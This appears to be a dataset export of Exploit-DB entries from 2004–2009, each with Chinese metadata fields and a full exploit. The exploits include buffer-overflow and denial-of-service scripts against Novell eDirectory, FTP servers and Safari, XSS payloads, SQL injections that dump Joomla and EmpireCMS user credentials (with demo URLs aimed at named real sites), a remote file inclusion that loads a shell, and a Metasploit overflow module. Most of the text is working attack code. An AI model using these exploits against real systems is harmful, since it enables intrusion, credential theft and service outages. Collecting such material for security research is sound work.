QLWD/code_shield huggingface dataset:
标题: Novell eDirectory - HTTPSTK Login Stack Overflow EDB-ID: 10163 CVE: 2009-4654 类型: DOS 平台: WINDOWS 发布日期: 2009-11-17 漏洞利用脚本: # Exploit Title: Novell eDirectory HTTPSTK Login Stack Overflow Vulnerability
# Date: 2009-11-17
# Author: karak0rsan
# Software Link: [downoad link if available]
# Version: Novell eDirectory 8.8 SP5 HTTPSTK
# Tested on: [relevant os]
# Code : [exploit code]

#!usr\bin\perl
# Novell eDirectory 8.8 SP5 HTTPSTK BoF Vuln - 0day
# Vulnerability found in Hellcode Labs.
# karak0rsan || murderkey
# info[at]hellcode.net || www.hellcode.net


use WWW::Mechanize;

use LWP::Debug qw(+);

use HTTP::Cookies;
use HTTP::Request::Common;;

$target=$ARGV[0];


if(!$ARGV[0]){

       print "Novell eDirectory 8.8 SP5 Exploit\n";

       print "Hellcode Research || Hellcode.net\n";

       print "Usage:perl $0 [target]\n";

exit();
}
         print "Username:";

         $username = <STDIN>;

         chomp($username);

         print "Password:";

         $password = <STDIN>;

         chomp($password);


$login_url = "$target/_LOGIN_SERVER_";

$url = "$target/dhost/httpstk;submit";

$buffer = "\x41" x 476;

my $mechanize = WWW::Mechanize->new();


$mechanize->cookie_jar(HTTP::Cookies->new(file => "$cookie_file",autosave => 1));


$mechanize->timeout($url_timeout);

$res = $mechanize->request(HTTP::Request->new('GET', "$login_url"));


   $mechanize->submit_form(

                 form_name => "authenticator",

                 fields    => {

                    usr => $username,

                    pwd => $password},

                    button => 'Login');

$res2 = $mechanize->request(HTTP::Request->new('GET', "$url"));
$res2 = $mechanize->request(POST "$url", [sadminpwd => $buffer, verifypwd => $buffer]); URL: https://www.exploit-db.com/exploits/10163
标题: Shoutbox 1.0 - HTML / Cross-Site Scripting Injection EDB-ID: 10168 CVE: 2009-4767 类型: WEBAPPS 平台: PHP 发布日期: 2009-11-18 漏洞利用脚本: # Vulnerable Code in index.php :
#
# <p><strong><?php echo $names[$i]; ?>:</strong> <?php echo $shouts[$i]; ?></p>
#
########################################
# Shoutbox 1.0 HTML / Xss inejction exploit
# AuTh0r  : SKuLL-HacKeR                                                
# H0ME     : Sec-Best & SaudiHack & S3curity-Art                        
# Email    : My@Hotmail.iT                                              
########################################
 
Vendor: http://www.plohni.com
exploit: 
site.com/Shoutbox/index.php
in the select your name and your text put this code 
'">><script>alert('XSS skh')</script> URL: https://www.exploit-db.com/exploits/10168
标题: Home FTP Server - 'MKD' Directory Traversal EDB-ID: 10162 CVE: 2009-4053 类型: REMOTE 平台: WINDOWS 发布日期: 2009-11-17 漏洞利用脚本: #!/usr/bin/python
import socket
import sys

def Usage():
    print ("Usage:  ./expl.py <serv_ip>      <Username> <password>\n")
    print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
        Usage()
        sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    passwd=sys.argv[3]
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        sock.connect((hostname, 21))
    except:
        print ("Connection error!")
        sys.exit(1)
    r=sock.recv(1024)
    sock.send("user %s\r\n" %username)
    r=sock.recv(1024)
    sock.send("pass %s\r\n" %passwd)
    r=sock.recv(1024)
    sock.send("MKD ../A\r\n")
    sock.close()
    sys.exit(0); URL: https://www.exploit-db.com/exploits/10162
标题: Apple Safari 4.0.3 (Windows x86) - 'CSS' Remote Denial of Service (1) EDB-ID: 10102 CVE: 2009-4186 类型: DOS 平台: WINDOWS_X86 发布日期: 2009-11-16 漏洞利用脚本: #!/usr/bin/perl
# ithinkthereforeiexist.pl
# AKA
# Safari 4.0.3 (Win32) CSS Remote Denial of Service Exploit
#
# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 11.09.2009
#
# *********************************************************************************************************
# Another remotely triggerable STACK_OVERFLOW in Safari on Windows...
#
# (204.72c): Stack overflow - code c00000fd (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=000333d8 ebx=000fbd16 ecx=00000000 edx=037b3fd0 esi=037b3fd0 edi=0001bfad
# eip=00ae19af esp=00032ea8 ebp=00032f28 iopl=0         nv up ei pl nz na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
# *** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files\Safari\CoreFoundation.dll - 
# CoreFoundation!_CFStringEncodeByteStream+0x2d:
# 00ae19af 8365b800        and     dword ptr [ebp-48h],0 ss:0023:00032ee0=00000000
#
# A product of Browser Fuzzer 3 :)
#
# "We do it in the dark, with smiles on our faces"
#
# *********************************************************************************************************
# ithinkthereforeiexist.pl

$html = "ithinkthereforeiexist.html";
$css  = "ithinkthereforeiexist.css";

$size = 114600;

$htmldata = "<html>\n<head>\n<link rel=\"stylesheet\" href=\"" . $css . "\" />\n</head>\n";
$htmldata = $htmldata . "<body>\n<div id=\"die\">\n</div>\n</body>\n</html>";

$cssdata = "#die\n{\nbackground: url(" . "A" x $size . ");\n}";

     open(FD, '>' . $html);
     print FD $htmldata;
     close(FD);

     open(FD, '>' . $css);
     print FD $cssdata;
     close(FD); URL: https://www.exploit-db.com/exploits/10102
标题: IBM Rational RequisitePro 7.10 / ReqWebHelp - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 10094 CVE: 2009-3730 类型: WEBAPPS 平台: JSP 发布日期: 2009-10-15 漏洞利用脚本: Attackers can exploit these issues by enticing an unsuspecting victim into following a malicious URI.

The following example URIs are available:

http://www.example.com/ReqWebHelp/advanced/workingSet.jsp?operation=add*/--&gt;&lt;/script&gt;&lt;script&gt;alert(289325)&lt;/script&gt;&amp;workingSet=

http://www.example.com/ReqWebHelp/basic/searchView.jsp?searchWord=&gt;''&gt;&lt;script&gt;alert(306531)&lt;/script&gt;&amp;maxHits=&gt;''&gt;&lt;script&gt;alert(306531)&lt;/script&gt;&amp;scopedSearch=&gt;''&gt;&lt;script&gt;alert(306531)&lt;/script&gt;&amp;scope=&gt;''&gt;&lt;script&gt;alert(306531)&lt;/script&gt; URL: https://www.exploit-db.com/exploits/10094
标题: Adobe Shockwave Player 11.5.1.601 - Multiple Code Executions EDB-ID: 10093 CVE: 2009-3244 类型: REMOTE 平台: MULTIPLE 发布日期: 2009-11-04 漏洞利用脚本: <html>

<object classid='clsid:233C1507-6A77-46A4-9443-F871F945D258' id='ShockW'></object>
<script language='vbscript'>

argCount = 1

arg1=String(2097152, "A")

ShockW.PlayerVersion = arg1

</script> URL: https://www.exploit-db.com/exploits/10093
标题: Yahoo! Messenger 9.0.0.2162 - 'YahooBridgeLib.dll' ActiveX Control Remote Denial of Service EDB-ID: 10092 CVE: 2009-4171 类型: DOS 平台: WINDOWS 发布日期: 2009-11-12 漏洞利用脚本: <?XML version='1.0' standalone='yes' ?>

<package><job id='DoneInVBS' debug='false' error='true'>

<object classid='clsid:58916BE6-BAFF-4F33-AEFE-B2AA03FE4C86' id='target' />

<script language='vbscript'>


arg1=String(11284, "A")

target.RegisterMe arg1

</script>

</job>

</package> URL: https://www.exploit-db.com/exploits/10092
标题: XM Easy Personal FTP Server - 'APPE' / 'DELE' Denial of Service EDB-ID: 10104 CVE: 2009-4108 2009-4048 类型: DOS 平台: WINDOWS 发布日期: 2009-11-13 漏洞利用脚本: #!/usr/bin/python
import socket
import sys

def Usage():
print ("Usage: ./expl.py <serv_ip> <Username> <password>\n")
print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")
if len(sys.argv) <> 4:
Usage()
sys.exit(1)
else:
hostname=sys.argv[1]
username=sys.argv[2]
passwd=sys.argv[3]
test_string="a"
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_data = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 21))
except:
print ("Connection error!")
sys.exit(1)
r=sock.recv(1024)
print "[+] "+ r
sock.send("user %s\r\n" %username)
print "[-] "+ ("user %s\r\n" %username)
r=sock.recv(1024)
print "[+] "+ r
sock.send("pass %s\r\n" %passwd)
print "[-] "+ ("pass %s\r\n" %passwd)
r=sock.recv(1024)
print "[+] "+ r

sock_data.bind(('127.0.0.1',31339))
sock_data.listen(1)

sock.send("PORT 127,0,0,1,122,107\r\n")
print "[-] "+ ("PORT 127,0,0,1,122,107\r\n")
r=sock.recv(1024)
print "[+] "+ r

sock.send("APPE "+ test_string +"\r\n")
print "[-] "+ ("APPE "+ test_string +"\r\n")
r=sock.recv(1024)
print "[+] "+ r

sock.close()

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
sock.connect((hostname, 21))
except:
print ("Connection error!")
sys.exit(1)
r=sock.recv(1024)
print "[+] "+ r
sock.send("user %s\r\n" %username)
print "[-] "+ ("user %s\r\n" %username)
r=sock.recv(1024)
print "[+] "+ r
sock.send("pass %s\r\n" %passwd)
print "[-] "+ ("pass %s\r\n" %passwd)
r=sock.recv(1024)
print "[+] "+ r

sock.send("DELE "+ test_string +"\r\n")
print "[-] "+ ("DELE "+ test_string +"\r\n")
r=sock.recv(1024)
print "[+] "+ r 

sys.exit(0); URL: https://www.exploit-db.com/exploits/10104
标题: FTPDMIN 0.96 - 'LIST' Remote Denial of Service EDB-ID: 10100 CVE: 2007-1580 类型: DOS 平台: WINDOWS 发布日期: 2007-03-20 漏洞利用脚本: # usr/bin/python

import socket
import time

print
"-----------------------------------------------------------------------"
print "# FTPDMIN v. 0.96 LIST Denial of Service"
print "# url: http://www.sentex.net/~mwandel/ftpdmin/"
print "# author: shinnai"
print "# mail: shinnai[at]autistici[dot]org"
print "# site: http://shinnai.altervista.org"
print
"-----------------------------------------------------------------------\n"

buff = "//A:"

user = "anonymous"
password = "shinnai"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

try:
   conn = s.connect(("127.0.0.1",21))
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('USER %s\r\n' % user)
   print "Client -> USER " + user
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('PASS %s\r\n' % password)
   print "Client -> PASS " + password
   d = s.recv(1024)
   print "Server <- " + d
   time.sleep(2)

   s.send('LIST %s\r\n' % buff)
   print "Client -> LIST " + buff
   d = s.recv(1024)
   print d
   time.sleep(2)

except:
   print "- Unable to connect. exiting."

# milw0rm.com [2007-03-20] URL: https://www.exploit-db.com/exploits/10100
标题: Quick Heal 10.00 SP1 - Local Privilege Escalation EDB-ID: 10084 CVE: 2009-4556 类型: LOCAL 平台: WINDOWS 发布日期: 2009-10-13 漏洞利用脚本: ShineShadow Security Report 13102009-11

TITLE

Quick Heal Local Privilege Escalation Vulnerability

BACKGROUND

Quick Heal Technologies is leading provider of AntiVirus and Internet Security tools and is leader in Anti-Virus Technology in India. A privately held company, Quick Heal Technologies Pvt. Ltd. (formerly known as Cat Computer Services (P) Ltd.) was founded in 1993 and has been actively involved in Research and Development of anti-virus software since then. Quick Heal an award-winning anti-virus product is installed in corporate, small business and consumers' homes, protecting their PCs from viruses and other malicious threats.

Source: http://www.quickheal.co.in

VULNERABLE PRODUCTS

Quick Heal Antivirus Plus 2009 for Desktop (v.10.00 SP1)

Quick Heal Total Security 2009 (v.10.00 SP1)

DETAILS

Quick Heal installs the own program files with insecure permissions (Everyone: Full Control). Local attacker (unprivileged user) can replace some files (for example, executable files of Quick Heal services) by malicious file and execute arbitrary code with SYSTEM privileges. This is local privilege escalation vulnerability.

For example, in Quick Heal Antivirus Plus 2009 the following attack scenario could be used:

1. An attacker (unprivileged user) replaces one of the Quick Heal Antivirus program files by malicious executable file. For example, the replacing file could be - %Program Files%\Quick Heal\Quick Heal AntiVirus Plus\quhlpsvc.exe (Quick Update Service).

2. Restart the system.

After restart attackers malicious file will be executed with SYSTEM privileges.

For other vulnerable Quick Heal products similar attack scenario could be used.

EXPLOITATION

This is local privilege escalation vulnerability. An attacker must have valid logon credentials to a system where vulnerable software is installed.

WORKAROUND

No workarounds

DISCLOSURE TIMELINE

31/08/2009 Initial vendor notification. Secure contacts requested.

01/09/2009 Vendor response

03/09/2009 Vulnerability details sent. Confirmation requested.

04/09/2009 Vendor requested additional information

05/09/2009 Additional information sent

07/09/2009 Vendor accepted vulnerability for analyzing

23/09/2009 Update status query sent

23/09/2009 Vendor response that vulnerability analyze not yet completed

24/09/2009 Planned disclosure date was sent to vendor. Coordinated disclosure date requested. ? No reply.

13/10/2009 Advisory released

CREDITS

Maxim A. Kulakov (ShineShadow)

ss_contacts[at]hotmail.com URL: https://www.exploit-db.com/exploits/10084
标题: McAfee Network Security Manager < 5.1.11.8.1 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 10061 CVE: 2009-3565 类型: WEBAPPS 平台: JSP 发布日期: 2009-11-12 漏洞利用脚本: Attackers can exploit these issues by enticing an unsuspecting victim into following a malicious URI.

The following example URIs are available:

https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=&iaction=precreatefcb14"><script>alert('XSS')</script>8b3283a1e57 

https://www.example.com/intruvert/jsp/module/Login.jsp?password=&Login%2bID=&node=8502a"><script>alert(1)</script>2aa99b60533&iaction=precreatefcb14"><script>alert(â??XSSâ??)</script>8b3283a1e57 URL: https://www.exploit-db.com/exploits/10061
标题: Empire CMS 47 - SQL Injection EDB-ID: 10069 CVE: 2009-2269 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-05 漏洞利用脚本: <?php
print_r("
+------------------------------------------------------------------+
Application Info:
Name: EmpireCMS47
--------------------------------------------
Discoverd By: Securitylab.ir
Contacts: info@securitylab[dot]ir
Note: just work as php>=5&mysql>=4.1
--------------------------------------------
Vulnerability Info:
Sql Injection
Medium Risk
+------------------------------------------------------------------+
");
if ($argc<3) {
echo "Usage: php ".$argv[0]." host path \n";
echo "host: target server \n";
echo "path: path to EmpireCMS47\n";
echo "Example:\r\n";
echo "php ".$argv[0]." localhost /\n";
die;
}
$host=$argv[1];
$path=$argv[2];
$data = "name=11ttt&email=111&call=&lytext=1111&enews=AddGbook";
$cmd = "aaaaaaaa',0,1,''),('t00lsxxxx','t00lsxxxxx','','2008-05-28 15:44:17',(select concat(username,0x5f,password,0x5f,rnd) from phome_enewsuser where 
userid=1),'',1,'1111',0,0,'')/*";
$message = "POST ".$path."/e/enews/index.php"." HTTP/1.1\r\n";
$message .= "Referer: http://".$host.$path."/e/tool/gbook/?bid=1\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Content-Type: application/x-www-form-urlencoded\r\n";
$message .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\r\n";
$message .= "CLIENT-IP: $cmd\r\n";
$message .= "Host: $host\r\n";
$message .= "Content-Length: ".strlen($data)."\r\n";
$message .= "Cookie: ecmsgbookbid=1;\r\n";
$message .= "Connection: Close\r\n";
$message .= "\r\n";
$message .=$data;
$ock=fsockopen($host,80);
if (!$ock) {
echo 'No response from '.$host;
die;
}
echo "[+]connected to the site!\r\n";
echo "[+]sending data nowâ€¦â€¦\r\n";
fputs($ock,$message);
@$resp ='';
while ($ock && !feof($ock))
$resp .= fread($ock, 1024);
echo $resp;
echo "[+]done!\r\n";
echo "[+]go to http://$host$path/e/tool/gbook/?bid=1 see the hash"
?> URL: https://www.exploit-db.com/exploits/10069
标题: Joomla! Component CB Resume Builder - SQL Injection EDB-ID: 10064 CVE: 2009-3645 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-05 漏洞利用脚本: /**************************************************************************

[~] Joomla Component com_cbresumebuilder Remote SQL injection vulnerability - (group_id)
[~] Author : kaMtiEz (kamzcrew@gmail.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : October 5, 2009
[~] Tune In : http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[+] Vendor : http://www.joomlacache.com/
[+] Download : http://www.joomlacache.com/index.php?option=com_ambrasubs&controller=subscription&task=new&id=6
[+] version : -
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_soundset"
[+] Price : $49.95-- USD

===========================================================================

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_cbresumebuilder&task=group_members&group_id=[INDONESIANCODER]

[ Exploit ]

-666+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+jos_users--

[ Demo ]

http://www.gruenderwelt.org/index.php?option=com_cbresumebuilder&task=group_members&group_id=-666+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+jos_users--

http://made4joomla.com/test/index.php?option=com_cbresumebuilder&task=group_members&group_id=-666+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15+from+jos_users--

===========================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM - KILL-9 CREW - KIRIK CREW - MainHack Brotherhood - ServerIsDown
[+] Don Tukulesto, M3NW5, arianom, tiw0L, Pathloader, abah_benu, VycOd, och3_an3h
[+] Contrex, onthel, yasea, bugs, olivia, Jovan, Aar, Ardy, invent, Ronz
[+] Coracore, black666girl, NepT, ichal, tengik, Gh4mb4s ,rendy, Jack- and YOU!!

[ NOTE ] 

[+] Mom and dad i love u .. for my girlfriends thx for your support mwahhhh ^_^
[+] terima kasih banget buat tukulesto dan arianom yang setiap malam menemani saya waktu exploit .. wkwkwkw
[+] Dengerin Radio yach di http://antisecradio.fm manteb2 loh .. :D

[ QUOTE ]

[+] kaMtiEz -=- Don Tukulesto -=- M3NW5 -=- 30 hari mencari AuraKasih eh kok malah kesasar wkwkw ....
[+] AURAKASIH where did you go ?? URL: https://www.exploit-db.com/exploits/10064
标题: AIOCP 1.4.001 - Remote File Inclusion EDB-ID: 10057 CVE: 2009-4747 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-07 漏洞利用脚本: ###########################################

#

# Aiocp 1.4.001 Remote File Inclusion vulnerability

#

# Found by : Hadi Kiamarsi

#

# Contact : hadikiamarsi [at] hotmail.com

#

# Download : http://sourceforge.net/projects/aiocp/files/aiocp/AIOCP%201.4.001/aiocp_1_4_001.zip/download

#

###########################################

PoC :

http://[TARGET]/[PATH]/public/code/cp_html2xhtmlbasic.php?page=[SHELL]

example :

http://[TARGET]/[PATH]/public/code/cp_html2xhtmlbasic.php?page=http://www.example.com/shell.php

local Example :

http://localhost/root/public/code/cp_html2xhtmlbasic.php?page=http://127.0.0.1/shell.php URL: https://www.exploit-db.com/exploits/10057
标题: Joomla! Component Soundset 1.0 - SQL Injection EDB-ID: 10067 CVE: 2009-3644 类型: WEBAPPS 平台: PHP 发布日期: 2009-10-05 漏洞利用脚本: /********************************************************************************

[~] Joomla Component com_soundset Remote SQL injection vulnerability - (cat_id)
[~] Author : kaMtiEz (kamzcrew@gmail.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : October 4, 2009
[~] Tune In : http://antisecradio.fm (choose your weapon)

********************************************************************************/

[ Software Information ]

[+] Vendor : http://www.soundset.at/
[+] Download : -
[+] version : 1.0
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_soundset"
[+] Price : EUR 119.00

================================================================================

[ Vulnerable File ]

http://127.0.0.1/ndex.php?option=com_soundset&controller=showcategory&cat_id=[INDONESIANCODER]

[ Exploit ]

-666+union+select+1,2,concat_ws(0x3a,username,password)kaMtiEz,4,5+from+jos_users--

[ Demo ]

http://www.soundset.at/cms/index.php?option=com_soundset&controller=showcategory&cat_id=-666+union+select+1,2,concat_ws(0x3a,username,password)kaMtiEz,4,5+from+jos_users--

http://joomla.soundset.at/index.php?option=com_soundset&controller=showcategory&cat_id=-666+union+select+1,2,concat_ws(0x3a,username,password)kaMtiEz,4,5+from+jos_users--

================================================================================

[ Thx TO ]

[+] INDONESIAN CODER TEAM - KILL-9 CREW - KIRIK CREW - MainHack Brotherhood - ServerIsDown
[+] Don Tukulesto, M3NW5, arianom, tiw0L, Pathloader, abah_benu, VycOd, och3_an3h
[+] Contrex, onthel, yasea, bugs, olivia, Jovan, Aar, Ardy, invent, Ronz
[+] Coracore, black666girl, NepT, ichal, tengik, Gh4mb4s ,rendy, Jack- and YOU!!

[ NOTE ] 

[+] Mom and dad i love u .. for my girlfriends thx for your support mwahhhh ^_^
[+] terima kasih banget buat tukulesto dan arianom yang setiap malam menemani saya waktu exploit .. wkwkwkw
[+] terima kasih buat vYc0d yang menemani saya waktu YM an jangan lupa kuliah e ojo fb nan terus ! wkwkw.. wkwkwkkwkw

[ QUOTE ]

[+] kaMtiEz -=- Don Tukulesto -=- M3NW5 -=- 30 hari mencari AuraKasih dan masih belum ketemu juga :"( wkwkw ....
[+] AURAKASIH I MISS U FULL arghhhhh ... URL: https://www.exploit-db.com/exploits/10067
标题: Mercantec SoftCart 4.00b - CGI Overflow (Metasploit) EDB-ID: 10037 CVE: 2004-2221 类型: REMOTE 平台: CGI 发布日期: 2004-08-19 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Brute
 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'Mercantec SoftCart CGI Overflow',
   'Description'    => %q{
    This is an exploit for an undisclosed buffer overflow
    in the SoftCart.exe CGI as shipped with Mercantec's shopping
    cart software.  It is possible to execute arbitrary code
    by passing a malformed CGI parameter in an HTTP GET
    request.  This issue is known to affect SoftCart version
    4.00b.
   },
   'Author'         => [ 'skape', 'trew' ],
   'Version'        => '$Revision$',
   'References'     =>
    [
         [ 'CVE', '2004-2221'],
     [ 'OSVDB', '9011'],
     [ 'BID', '10926'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b\x7d\x28\x29\x3f\x5d\x5b\x00",
     'MinNops'  => 16,
     'Prepend'  => "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00\x00\x07\x00",
     'PrependEncoder' => "\x83\xec\x7f",
    },
   'Platform'       => 'bsdi',
   'Targets'        => 
    [
     [ 
      'BSDi/4.3 Bruteforce',
      {
       'Bruteforce' =>
        {
         'Start' => { 'Ret' => 0xefbf3000 },
         'Stop'  => { 'Ret' => 0xefbffffc },
         'Step'  => 0
        }
      },
     ],
    ],
   'DisclosureDate' => 'Aug 19 2004',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URI', [ false, "The target CGI URI", '/cgi-bin/SoftCart.exe' ])
   ], self.class)
 end

 def brute_exploit(address)
  
  buffer =
   "MAA+scstoreB" +
   rand_text_alphanumeric(512) +
   [address['Ret']].pack('V') +
   "MSF!" +
   [address['Ret'] + payload.encoded.length].pack('V') +
   payload.encoded

  print_status("Trying #{"%.8x" % address['Ret']}...")
  res = send_request_raw({
   'uri'   => datastore['URI'],
   'query' => buffer
  }, 5)

  handler
 end

end URL: https://www.exploit-db.com/exploits/10037